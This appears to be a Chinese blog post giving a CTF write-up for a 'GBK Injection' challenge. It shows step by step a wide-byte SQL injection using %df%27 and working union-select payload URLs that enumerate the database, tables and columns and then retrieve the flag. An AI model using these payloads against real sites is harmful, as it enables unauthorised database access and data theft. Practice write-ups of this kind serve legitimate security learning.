CG CTF GBK Injection

题目链接

GBK Injection想到宽字节注入,首先了解宽字节注入的原理 链接

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 order by 2#
在这里插入图片描述
发现#被过滤掉了,遂使用%23(url编码)

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 order by 2%23
在这里插入图片描述

判断出表中有两列,就可以用:union select获取当前的库了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 union select 1,database()%23
在这里插入图片描述
没有爆出库的信息emm…因为没有and 1=2,又因为这个地方可能只接受一个参数
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 and 1=2 union select 1,database()%23

在这里插入图片描述
当前的库名为sae-chinalover,通过库名爆表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652D6368696E616C6F766572%23
在这里插入图片描述
爆news表的列
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6E657773%23
在这里插入图片描述
得出id,title两列
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27 and 1=2 union select 1,group_concat(id,title) from news limit 0,1%23

发现没有flag,按照上面的流程重复

在ctf4表中找到flag

flag{this_is_sqli_flag}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值